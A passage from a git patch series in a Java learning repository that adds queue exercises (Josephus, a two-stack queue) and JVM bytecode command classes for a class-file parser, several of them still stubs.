diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/attr/LineNumberTable.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/attr/LineNumberTable.java
index 75891b7acc..207000e7c1 100644
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/attr/LineNumberTable.java
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/attr/LineNumberTable.java
@@ -7,7 +7,7 @@
 
 
 public class LineNumberTable extends AttributeInfo {
-	List<LineNumberItem> items = new ArrayList<LineNumberItem>();
+	List<LineNumberItem> items = new ArrayList<>();
 	
 	private static class LineNumberItem{
 		int startPC;

From 7fdcbf5a3a2cb74851214b7f56ffee5ef1cdd5ab Mon Sep 17 00:00:00 2001
From: thomas_young <yk_ecust_2007@163.com>
Date: Mon, 1 May 2017 15:35:23 +0800
Subject: [PATCH 152/262] =?UTF-8?q?=E6=95=B4=E7=90=86cmd=E7=9A=84=E4=BB=A3?=
 =?UTF-8?q?=E7=A0=81?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../coding2017/basic/queue/CircleQueue.java   |   5 +
 .../coding2017/basic/queue/Josephus.java      |  20 +++
 .../coding2017/basic/queue/JosephusTest.java  |  27 ++++
 .../coding2017/basic/queue/Queue.java         |  61 +++++++++
 .../basic/queue/QueueWithTwoStacks.java       |  40 ++++++
 .../coderising/jvm/attr/CodeAttr.java         |  81 +++--------
 .../coderising/jvm/clz/ClassFile.java         |  14 +-
 .../coderising/jvm/cmd/BiPushCmd.java         |  22 +++
 .../coderising/jvm/cmd/ByteCodeCommand.java   | 128 ++++++++++++++++++
 .../coderising/jvm/cmd/CommandParser.java     |  85 ++++++++++++
 .../coderising/jvm/cmd/GetFieldCmd.java       |  22 +++
 .../coderising/jvm/cmd/GetStaticFieldCmd.java |  20 +++
 .../coderising/jvm/cmd/InvokeSpecialCmd.java  |  22 +++
 .../coderising/jvm/cmd/InvokeVirtualCmd.java  |  22 +++
 .../coding2017/coderising/jvm/cmd/LdcCmd.java |  30 ++++
 .../coderising/jvm/cmd/NewObjectCmd.java      |  19 +++
 .../coderising/jvm/cmd/NoOperandCmd.java      |  23 ++++
 .../coderising/jvm/cmd/OneOperandCmd.java     |  28 ++++
 .../coderising/jvm/cmd/PutFieldCmd.java       |  20 +++
 .../coderising/jvm/cmd/TwoOperandCmd.java     |  64 +++++++++
 .../coderising/jvm/method/Method.java         |   6 +-
 .../jvm/print/ClassFilePrinter.java           |  42 ++++++
 .../jvm/print/ConstantPoolPrinter.java        |  19 +++
 .../jvm/test/ClassFileloaderTest.java         |  84 ++++++++++++
 24 files changed, 836 insertions(+), 68 deletions(-)
 create mode 100644 group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/queue/CircleQueue.java
 create mode 100644 group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/queue/Josephus.java
 create mode 100644 group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/queue/JosephusTest.java
 create mode 100644 group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/queue/Queue.java
 create mode 100644 group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/queue/QueueWithTwoStacks.java
 create mode 100644 group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/BiPushCmd.java
 create mode 100644 group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/ByteCodeCommand.java
 create mode 100644 group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/CommandParser.java
 create mode 100644 group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/GetFieldCmd.java
 create mode 100644 group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/GetStaticFieldCmd.java
 create mode 100644 group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/InvokeSpecialCmd.java
 create mode 100644 group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/InvokeVirtualCmd.java
 create mode 100644 group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/LdcCmd.java
 create mode 100644 group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/NewObjectCmd.java
 create mode 100644 group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/NoOperandCmd.java
 create mode 100644 group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/OneOperandCmd.java
 create mode 100644 group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/PutFieldCmd.java
 create mode 100644 group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/TwoOperandCmd.java
 create mode 100644 group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/print/ClassFilePrinter.java
 create mode 100644 group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/print/ConstantPoolPrinter.java

diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/queue/CircleQueue.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/queue/CircleQueue.java
new file mode 100644
index 0000000000..104ca0c92f
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/queue/CircleQueue.java
@@ -0,0 +1,5 @@
+package com.github.miniyk2012.coding2017.basic.queue;
+
+public class CircleQueue {
+
+}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/queue/Josephus.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/queue/Josephus.java
new file mode 100644
index 0000000000..199a08628c
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/queue/Josephus.java
@@ -0,0 +1,20 @@
+package com.github.miniyk2012.coding2017.basic.queue;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * 用Queue来实现Josephus问题
+ * 在这个古老的问题当中， N个深陷绝境的人一致同意用这种方式减少生存人数：
+ * N个人围成一圈（位置记为0到N-1）， 并且从第一个人报数， 报到M的人会被杀死， 知道最后一个人留下来
+ * @author liuxin
+ *
+ */
+public class Josephus {
+	
+	public static List<Integer> execute(int n, int m){
+		
+		return null;
+	}
+	
+}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/queue/JosephusTest.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/queue/JosephusTest.java
new file mode 100644
index 0000000000..6c7bf78419
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/queue/JosephusTest.java
@@ -0,0 +1,27 @@
+package com.github.miniyk2012.coding2017.basic.queue;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+
+public class JosephusTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testExecute() {
+		
+		Assert.assertEquals("[1, 3, 5, 0, 4, 2, 6]", Josephus.execute(7, 2).toString());
+		
+	}
+
+}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/queue/Queue.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/queue/Queue.java
new file mode 100644
index 0000000000..7db4923e15
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/queue/Queue.java
@@ -0,0 +1,61 @@
+package com.github.miniyk2012.coding2017.basic.queue;
+
+import java.util.NoSuchElementException;
+
+public class Queue<E> {
+    private Node<E> first;    
+    private Node<E> last;     
+    private int size;               
+
+    
+    private static class Node<E> {
+        private E item;
+        private Node<E> next;
+    }
+
+    
+    public Queue() {
+        first = null;
+        last  = null;
+        size = 0;
+    }
+
+    
+    public boolean isEmpty() {
+        return first == null;
+    }
+
+    public int size() {
+        return size;
+    }
+
+    
+
+    public void enQueue(E data) {
+        Node<E> oldlast = last;
+        last = new Node<E>();
+        last.item = data;
+        last.next = null;
+        if (isEmpty()) {
+        	first = last;
+        }
+        else{
+        	oldlast.next = last;
+        }
+        size++;
+    }
+
+    public E deQueue() {
+        if (isEmpty()) {
+        	throw new NoSuchElementException("Queue underflow");
+        }
+        E item = first.item;
+        first = first.next;
+        size--;
+        if (isEmpty()) {
+        	last = null;  
+        }
+        return item;
+    }
+
+}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/queue/QueueWithTwoStacks.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/queue/QueueWithTwoStacks.java
new file mode 100644
index 0000000000..4f7ba31387
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/queue/QueueWithTwoStacks.java
@@ -0,0 +1,40 @@
+package com.github.miniyk2012.coding2017.basic.queue;
+
+import java.util.Stack;
+
+public class QueueWithTwoStacks<E> {
+    private Stack<E> stack1;    
+    private Stack<E> stack2;    
+
+    
+    public QueueWithTwoStacks() {
+        stack1 = new Stack<E>();
+        stack2 = new Stack<E>();
+    }
+
+   
+
+
+    public boolean isEmpty() {
+       return false;
+    }
+
+
+    
+    public int size() {
+       return -1;
+    }
+
+
+
+    public void enQueue(E item) {
+        
+    }
+
+    public E deQueue() {
+        return null;
+    }
+
+
+ }
+
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/attr/CodeAttr.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/attr/CodeAttr.java
index 29feb072f7..abc89a94d0 100644
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/attr/CodeAttr.java
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/attr/CodeAttr.java
@@ -2,6 +2,7 @@
 
 
 import com.github.miniyk2012.coding2017.coderising.jvm.clz.ClassFile;
+import com.github.miniyk2012.coding2017.coderising.jvm.cmd.ByteCodeCommand;
 import com.github.miniyk2012.coding2017.coderising.jvm.constant.ConstantPool;
 import com.github.miniyk2012.coding2017.coderising.jvm.loader.ByteCodeIterator;
 
@@ -14,21 +15,27 @@ public String getCode() {
 		return code;
 	}
 
-	//private ByteCodeCommand[] cmds ;
-	//public ByteCodeCommand[] getCmds() {
-	//	return cmds;
-	//}
+	private ByteCodeCommand[] cmds ;
+	public ByteCodeCommand[] getCmds() {
+		return cmds;
+	}
 	private LineNumberTable lineNumTable;
 	private LocalVariableTable localVarTable;
 	private StackMapTable stackMapTable;
 	
-	public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen,String code /*ByteCodeCommand[] cmds*/) {
+	public CodeAttr(int attrNameIndex,
+					int attrLen,
+					int maxStack,
+					int maxLocals,
+					int codeLen,
+					String code,
+					ByteCodeCommand[] cmds) {
 		super(attrNameIndex, attrLen);
 		this.maxStack = maxStack;
 		this.maxLocals = maxLocals;
 		this.codeLen = codeLen;
 		this.code = code;
-		//this.cmds = cmds;
+		this.cmds = cmds;
 	}
 
 	public void setLineNumberTable(LineNumberTable t) {
@@ -38,60 +45,7 @@ public void setLineNumberTable(LineNumberTable t) {
 	public void setLocalVariableTable(LocalVariableTable t) {
 		this.localVarTable = t;		
 	}
-	
-	public static CodeAttr parse_V2(ClassFile clzFile, ByteCodeIterator iter){
-		
-		int attrNameIndex = iter.nextU2toInt();
-		int attrLen = iter.nextU4toInt();
-		int maxStack = iter.nextU2toInt();
-		int maxLocals = iter.nextU2toInt();
-		int codeLen = iter.nextU4toInt();
-		
-		String code = iter.nextUxToHexString(codeLen);
-		
-		System.out.println(code);
-		
-		// ByteCodeCommand[] cmds = ByteCodeCommand.parse(clzFile,code);
-		
-		CodeAttr codeAttr = new CodeAttr(attrNameIndex, attrLen, maxStack, maxLocals, codeLen, code);
-		
-		int exceptionTableLen = iter.nextU2toInt();
-		//TODO 处理exception
-		if(exceptionTableLen>0){
-			String exTable = iter.nextUxToHexString(exceptionTableLen);
-			System.out.println("Encountered exception table , just ignore it :" + exTable);
-			
-		}
-		
-		
-		int subAttrCount = iter.nextU2toInt();
-		
-		for(int x=1; x<=subAttrCount; x++){
-			int subAttrIndex = iter.nextU2toInt();
-			String subAttrName = clzFile.getConstantPool().getUTF8String(subAttrIndex);
-		
-			//已经向前移动了U2, 现在退回去。
-			iter.skip(-2);
-			//line item table
-			if(AttributeInfo.LINE_NUM_TABLE.equalsIgnoreCase(subAttrName)){
-				LineNumberTable t = LineNumberTable.parse(iter);
-				codeAttr.setLineNumberTable(t);
-			}
-			else if(AttributeInfo.LOCAL_VAR_TABLE.equalsIgnoreCase(subAttrName)){
-				LocalVariableTable t = LocalVariableTable.parse(iter);
-				codeAttr.setLocalVariableTable(t);
-			} 
-			else if (AttributeInfo.STACK_MAP_TABLE.equalsIgnoreCase(subAttrName)){
-				StackMapTable t = StackMapTable.parse(iter);
-				codeAttr.setStackMapTable(t);
-			}
-			else{
-				throw new RuntimeException("Need code to process " + subAttrName);
-			}
-		}
-		
-		return codeAttr;
-	}
+
 	public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter){
 		int attributeNameIndex = iter.nextU2toInt();
 		int attributeLength = iter.nextU4toInt();
@@ -100,7 +54,7 @@ public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter){
 		int codeLength = iter.nextU4toInt();
 
 		String code = iter.nextUxToHexString(codeLength);
-        CodeAttr codeAttr = new CodeAttr(attributeNameIndex, attributeLength, maxStack, maxLocals, codeLength, code);
+        CodeAttr codeAttr = new CodeAttr(attributeNameIndex, attributeLength, maxStack, maxLocals, codeLength, code, null);
 
         int exceptionTableLen = iter.nextU2toInt();
         if(exceptionTableLen>0){
@@ -132,9 +86,9 @@ public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter){
 	public String toString(ConstantPool pool){
 		StringBuilder buffer = new StringBuilder();
 		buffer.append("Code:").append(code).append("\n");
-		/*for(int i=0;i<cmds.length;i++){
+		for(int i=0;i<cmds.length;i++){
 			buffer.append(cmds[i].toString(pool)).append("\n");
-		}*/
+		}
 		buffer.append("\n");
 		buffer.append(this.lineNumTable.toString());
 		buffer.append(this.localVarTable.toString(pool));
@@ -142,7 +96,6 @@ public String toString(ConstantPool pool){
 	}
 	private void setStackMapTable(StackMapTable t) {
 		this.stackMapTable = t;
-		
 	}
 
 	
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/clz/ClassFile.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/clz/ClassFile.java
index 7135ef9bcb..745f98636e 100644
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/clz/ClassFile.java
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/clz/ClassFile.java
@@ -1,7 +1,6 @@
 package com.github.miniyk2012.coding2017.coderising.jvm.clz;
 
 
-
 import com.github.miniyk2012.coding2017.coderising.jvm.constant.ClassInfo;
 import com.github.miniyk2012.coding2017.coderising.jvm.constant.ConstantPool;
 import com.github.miniyk2012.coding2017.coderising.jvm.field.Field;
@@ -74,13 +73,22 @@ public void print(){
 
 	}
 	
-	private String getClassName(){
+	public String getClassName(){
 		int thisClassIndex = this.clzIndex.getThisClassIndex();
 		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
 		return thisClass.getClassName();
 	}
-	private String getSuperClassName(){
+	public String getSuperClassName(){
 		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
 		return superClass.getClassName();
 	}
+
+	public Method getMethod(String methodName, String paramAndReturnType){
+		return null;
+	}
+
+	public Method getMainMethod(){
+
+		return null;
+	}
 }
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/BiPushCmd.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/BiPushCmd.java
new file mode 100644
index 0000000000..81fc933920
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/BiPushCmd.java
@@ -0,0 +1,22 @@
+package com.github.miniyk2012.coding2017.coderising.jvm.cmd;
+
+
+import com.github.miniyk2012.coding2017.coderising.jvm.clz.ClassFile;
+import com.github.miniyk2012.coding2017.coderising.jvm.constant.ConstantPool;
+
+public class BiPushCmd extends OneOperandCmd {
+
+	public BiPushCmd(ClassFile clzFile, String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+	
+		return this.getOffset()+": "+ this.getOpCode()+" " + this.getReadableCodeText() + " " + this.getOperand();
+	}
+	
+	
+
+}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/ByteCodeCommand.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/ByteCodeCommand.java
new file mode 100644
index 0000000000..bb6cbb8244
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/ByteCodeCommand.java
@@ -0,0 +1,128 @@
+package com.github.miniyk2012.coding2017.coderising.jvm.cmd;
+
+import com.github.miniyk2012.coding2017.coderising.jvm.clz.ClassFile;
+import com.github.miniyk2012.coding2017.coderising.jvm.constant.ConstantInfo;
+import com.github.miniyk2012.coding2017.coderising.jvm.constant.ConstantPool;
+
+import java.util.HashMap;
+import java.util.Map;
+
+
+public abstract class ByteCodeCommand {	
+	
+	String opCode;
+	ClassFile clzFile;
+	private int offset;
+	
+	private static Map<String,String> codeMap = new HashMap<String,String>();
+	
+	static{
+		codeMap.put("01", "aconst_null");
+		
+		codeMap.put("BB", "new");
+		codeMap.put("37", "lstore");
+		codeMap.put("B7", "invokespecial");
+		codeMap.put("B6", "invokevirtual");
+		codeMap.put("B4", "getfield");
+		codeMap.put("B5", "putfield");
+		codeMap.put("B2", "getstatic");
+		
+		codeMap.put("2A", "aload_0");
+		codeMap.put("2B", "aload_1");
+		codeMap.put("2C", "aload_2");
+		
+		codeMap.put("10", "bipush");
+		codeMap.put("15", "iload");
+		codeMap.put("1A", "iload_0");
+		codeMap.put("1B", "iload_1");
+		codeMap.put("1C", "iload_2");
+		codeMap.put("1D", "iload_3");
+		
+		codeMap.put("25", "fload_3");
+		
+		codeMap.put("1E", "lload_0");
+		
+		codeMap.put("24", "fload_2");
+		codeMap.put("4C", "astore_1");
+		
+		codeMap.put("A2", "if_icmp_ge");
+		codeMap.put("A4", "if_icmple");
+		
+		codeMap.put("A7", "goto");
+		
+		codeMap.put("B1", "return");
+		codeMap.put("AC", "ireturn");
+		codeMap.put("AE", "freturn");
+		
+		codeMap.put("03", "iconst_0");
+		codeMap.put("04", "iconst_1");
+		
+		codeMap.put("3C", "istore_1");
+		codeMap.put("3D", "istore_2");
+		
+		codeMap.put("59", "dup");
+		
+		codeMap.put("60", "iadd");
+		codeMap.put("84", "iinc");
+		
+		codeMap.put("12", "ldc");
+	}
+	
+	
+
+	
+
+	protected ByteCodeCommand(ClassFile clzFile, String opCode){
+		this.clzFile = clzFile;
+		this.opCode = opCode;
+	}
+	
+	protected ClassFile getClassFile() {
+		return clzFile;
+	}
+	
+	public int getOffset() {
+		return offset;
+	}
+
+	public void setOffset(int offset) {
+		this.offset = offset;
+	}
+	protected ConstantInfo getConstantInfo(int index){
+		return this.getClassFile().getConstantPool().getConstantInfo(index);
+	}
+	
+	protected ConstantPool getConstantPool(){
+		return this.getClassFile().getConstantPool();
+	}
+	
+	
+	
+	public String getOpCode() {
+		return opCode;
+	}
+
+	public abstract int getLength();
+	
+	
+	
+	
+	public String toString(){
+		
+		StringBuffer buffer = new StringBuffer();
+		buffer.append(this.opCode);
+		
+		return buffer.toString();
+	}
+	public abstract String toString(ConstantPool pool);
+	
+	public String getReadableCodeText(){
+		String txt = codeMap.get(opCode);
+		if(txt == null){
+			return opCode;
+		}
+		return txt;
+	}
+	
+	//public abstract void execute(StackFrame frame,FrameResult result);
+}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/CommandParser.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/CommandParser.java
new file mode 100644
index 0000000000..aebfd87058
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/CommandParser.java
@@ -0,0 +1,85 @@
+package com.github.miniyk2012.coding2017.coderising.jvm.cmd;
+
+import com.github.miniyk2012.coding2017.coderising.jvm.clz.ClassFile;
+
+import java.util.List;
+
+
+public class CommandParser {
+	
+	public static final String aconst_null = "01";
+	public static final String new_object = "BB";
+	public static final String lstore = "37";
+	public static final String invokespecial = "B7";
+	public static final String invokevirtual = "B6";
+	public static final String getfield = "B4";
+	public static final String putfield = "B5";
+	public static final String getstatic = "B2";
+	public static final String ldc = "12";
+	public static final String dup = "59";
+	public static final String bipush = "10";
+	public static final String aload_0 = "2A";
+	public static final String aload_1 = "2B";
+	public static final String aload_2 = "2C";
+	public static final String iload = "15";
+	public static final String iload_1 = "1B";
+	public static final String iload_2 = "1C";
+	public static final String iload_3 = "1D";
+	public static final String fload_3 = "25";
+
+	public static final String voidreturn = "B1";
+	public static final String ireturn = "AC";
+	public static final String freturn = "AE";
+
+	public static final String astore_1 = "4C";
+	public static final String if_icmp_ge = "A2";
+	public static final String if_icmple = "A4";
+	public static final String goto_no_condition = "A7";
+	public static final String iconst_0 = "03";
+	public static final String iconst_1 = "04";
+	public static final String istore_1 = "3C";
+	public static final String istore_2 = "3D";
+	public static final String iadd = "60";
+	public static final String iinc = "84";
+
+	public static ByteCodeCommand[] parse(ClassFile clzFile, String codes) {
+
+		
+		return null;
+	}
+
+	private static void calcuateOffset(List<ByteCodeCommand> cmds) {
+
+		int offset = 0;
+		for (ByteCodeCommand cmd : cmds) {
+			cmd.setOffset(offset);
+			offset += cmd.getLength();
+		}
+
+	}
+
+	private static class CommandIterator {
+		String codes = null;
+		int pos = 0;
+
+		CommandIterator(String codes) {
+			this.codes = codes;
+		}
+
+		public boolean hasNext() {
+			return pos < this.codes.length();
+		}
+
+		public String next2CharAsString() {
+			String result = codes.substring(pos, pos + 2);
+			pos += 2;
+			return result;
+		}
+
+		public int next2CharAsInt() {
+			String s = this.next2CharAsString();
+			return Integer.valueOf(s, 16).intValue();
+		}
+
+	}
+}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/GetFieldCmd.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/GetFieldCmd.java
new file mode 100644
index 0000000000..f996abe54c
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/GetFieldCmd.java
@@ -0,0 +1,22 @@
+package com.github.miniyk2012.coding2017.coderising.jvm.cmd;
+
+
+import com.github.miniyk2012.coding2017.coderising.jvm.clz.ClassFile;
+import com.github.miniyk2012.coding2017.coderising.jvm.constant.ConstantPool;
+
+public class GetFieldCmd extends TwoOperandCmd {
+
+	public GetFieldCmd(ClassFile clzFile, String opCode) {
+		super(clzFile,opCode);		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+	
+	
+
+}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/GetStaticFieldCmd.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/GetStaticFieldCmd.java
new file mode 100644
index 0000000000..5627e5efb0
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/GetStaticFieldCmd.java
@@ -0,0 +1,20 @@
+package com.github.miniyk2012.coding2017.coderising.jvm.cmd;
+
+
+import com.github.miniyk2012.coding2017.coderising.jvm.clz.ClassFile;
+import com.github.miniyk2012.coding2017.coderising.jvm.constant.ConstantPool;
+
+public class GetStaticFieldCmd extends TwoOperandCmd {
+
+	public GetStaticFieldCmd(ClassFile clzFile, String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/InvokeSpecialCmd.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/InvokeSpecialCmd.java
new file mode 100644
index 0000000000..0ff685b960
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/InvokeSpecialCmd.java
@@ -0,0 +1,22 @@
+package com.github.miniyk2012.coding2017.coderising.jvm.cmd;
+
+
+import com.github.miniyk2012.coding2017.coderising.jvm.clz.ClassFile;
+import com.github.miniyk2012.coding2017.coderising.jvm.constant.ConstantPool;
+
+public class InvokeSpecialCmd extends TwoOperandCmd {
+
+	public InvokeSpecialCmd(ClassFile clzFile, String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsMethod(pool);
+	}
+
+	
+
+}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/InvokeVirtualCmd.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/InvokeVirtualCmd.java
new file mode 100644
index 0000000000..f9688b128b
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/InvokeVirtualCmd.java
@@ -0,0 +1,22 @@
+package com.github.miniyk2012.coding2017.coderising.jvm.cmd;
+
+
+import com.github.miniyk2012.coding2017.coderising.jvm.clz.ClassFile;
+import com.github.miniyk2012.coding2017.coderising.jvm.constant.ConstantPool;
+
+public class InvokeVirtualCmd extends TwoOperandCmd {
+
+	public InvokeVirtualCmd(ClassFile clzFile, String opCode) {
+		super(clzFile,opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsMethod(pool);
+	}
+
+	
+	
+
+}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/LdcCmd.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/LdcCmd.java
new file mode 100644
index 0000000000..4e8e535bcc
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/LdcCmd.java
@@ -0,0 +1,30 @@
+package com.github.miniyk2012.coding2017.coderising.jvm.cmd;
+
+
+import com.github.miniyk2012.coding2017.coderising.jvm.clz.ClassFile;
+import com.github.miniyk2012.coding2017.coderising.jvm.constant.ConstantInfo;
+import com.github.miniyk2012.coding2017.coderising.jvm.constant.ConstantPool;
+import com.github.miniyk2012.coding2017.coderising.jvm.constant.StringInfo;
+
+public class LdcCmd extends OneOperandCmd {
+
+	public LdcCmd(ClassFile clzFile, String opCode) {
+		super(clzFile,opCode);		
+	}
+	
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		ConstantInfo info = (ConstantInfo)pool.getConstantInfo(this.getOperand());
+		
+		String value = "TBD";
+		if(info instanceof StringInfo){
+			StringInfo strInfo = (StringInfo)info;
+			value = strInfo.toString();
+		}
+		
+		return this.getOffset()+":"+this.getOpCode()+" " + this.getReadableCodeText() + " "+  value;
+		
+	}
+	
+}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/NewObjectCmd.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/NewObjectCmd.java
new file mode 100644
index 0000000000..6bcac6b662
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/NewObjectCmd.java
@@ -0,0 +1,19 @@
+package com.github.miniyk2012.coding2017.coderising.jvm.cmd;
+
+import com.github.miniyk2012.coding2017.coderising.jvm.clz.ClassFile;
+import com.github.miniyk2012.coding2017.coderising.jvm.constant.ConstantPool;
+
+public class NewObjectCmd extends TwoOperandCmd{
+	
+	public NewObjectCmd(ClassFile clzFile, String opCode){
+		super(clzFile,opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsClassInfo(pool);
+	}
+
+	
+}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/NoOperandCmd.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/NoOperandCmd.java
new file mode 100644
index 0000000000..d63e47ae17
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/NoOperandCmd.java
@@ -0,0 +1,23 @@
+package com.github.miniyk2012.coding2017.coderising.jvm.cmd;
+
+import com.github.miniyk2012.coding2017.coderising.jvm.clz.ClassFile;
+import com.github.miniyk2012.coding2017.coderising.jvm.constant.ConstantPool;
+
+public class NoOperandCmd extends ByteCodeCommand{
+
+	public NoOperandCmd(ClassFile clzFile, String opCode) {
+		super(clzFile, opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		return this.getOffset()+":" +this.getOpCode() + " "+ this.getReadableCodeText();
+	}
+
+	
+	
+	public  int getLength(){
+		return 1;
+	}
+
+}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/OneOperandCmd.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/OneOperandCmd.java
